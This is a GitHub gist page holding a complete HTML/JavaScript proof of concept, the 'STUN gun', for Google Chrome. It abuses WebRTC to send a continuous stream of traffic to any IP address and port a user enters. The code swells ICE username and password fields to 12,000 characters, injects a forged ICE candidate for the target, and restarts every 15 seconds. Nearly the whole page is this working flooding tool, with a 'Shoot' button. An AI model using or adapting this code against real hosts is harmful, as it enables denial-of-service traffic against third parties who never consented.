Created
May 29, 2014 09:14
-
-
Save kapejod/63520e94bdd6755465ee to your computer and use it in GitHub Desktop.
A proof of concept STUN gun for Google Chrome which creates a continous 2 mbit/s stream to anywhere you want.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>The STUN gun</title> | |
</head> | |
<body> | |
<form action=""> | |
Destination IP:<br> | |
<input type="text" id="destinationIp" value="127.0.0.1"><br> | |
Destination port:<br> | |
<input type="text" id="destinationPort" value="8888"><br><br> | |
<input type="button" id="shootButton" value="Shoot" onclick="shoot()"> | |
</form> | |
<script language="JavaScript"> | |
var pc = null; | |
var timer = null; | |
function makeString(length) { | |
var str = ""; | |
for (var i = 0; i < length; i ++) { | |
str += "A"; | |
} | |
return str; | |
} | |
function processSdp(sdp_str, destination_ip, destination_port) { | |
var sdp = new Array(); | |
var lines = sdp_str.split("\r\n"); | |
for (var i = 0; i < lines.length; i++) { | |
if (lines[i].indexOf("a=rtcp-mux") != -1) { | |
sdp.push(lines[i]); | |
/* add ice candidates for the destination */ | |
sdp.push("a=candidate:0 1 udp 2130379007 "+destination_ip+" "+destination_port+" typ host"); | |
} else if (lines[i].indexOf("a=ice-ufrag") != -1) { | |
sdp.push("a=ice-ufrag:"+makeString(12000)); | |
} else if (lines[i].indexOf("a=ice-pwd") != -1) { | |
sdp.push("a=ice-pwd:"+makeString(12000)); | |
} else { | |
/* keep the rest */ | |
sdp.push(lines[i]); | |
} | |
} | |
return sdp.join("\r\n"); | |
} | |
function shoot() { | |
document.getElementById("shootButton").value = "Stop"; | |
document.getElementById("shootButton").onclick = stop; | |
var ip = document.getElementById("destinationIp"); | |
var port = document.getElementById("destinationPort"); | |
if (pc != null) { | |
pc.close(); | |
} | |
pc = new webkitRTCPeerConnection(null); | |
pc.createOffer( | |
function(remoteDescription) { | |
remoteDescription.sdp = processSdp(remoteDescription.sdp, ip.value, port.value); | |
pc.setRemoteDescription( | |
remoteDescription, | |
function() { | |
pc.createAnswer( | |
function(localDescription) { | |
pc.setLocalDescription( | |
localDescription, | |
function() { | |
timer = setTimeout(function() { shoot(); }, 15000); | |
}, | |
function() { | |
console.log("error setting local description"); | |
} | |
); | |
}, | |
function() { | |
console.log("error creating sdp answer"); | |
} | |
); | |
}, | |
function() { | |
console.log("error setting remote description"); | |
} | |
); | |
}, | |
function() { | |
console.log("error creating sdp offer"); | |
} | |
); | |
} | |
function stop() { | |
if (timer != null) { | |
clearTimeout(timer); | |
timer = null; | |
} | |
if (pc != null) { | |
pc.close(); | |
pc = null; | |
} | |
document.getElementById("shootButton").value = "Shoot"; | |
document.getElementById("shootButton").onclick = shoot; | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment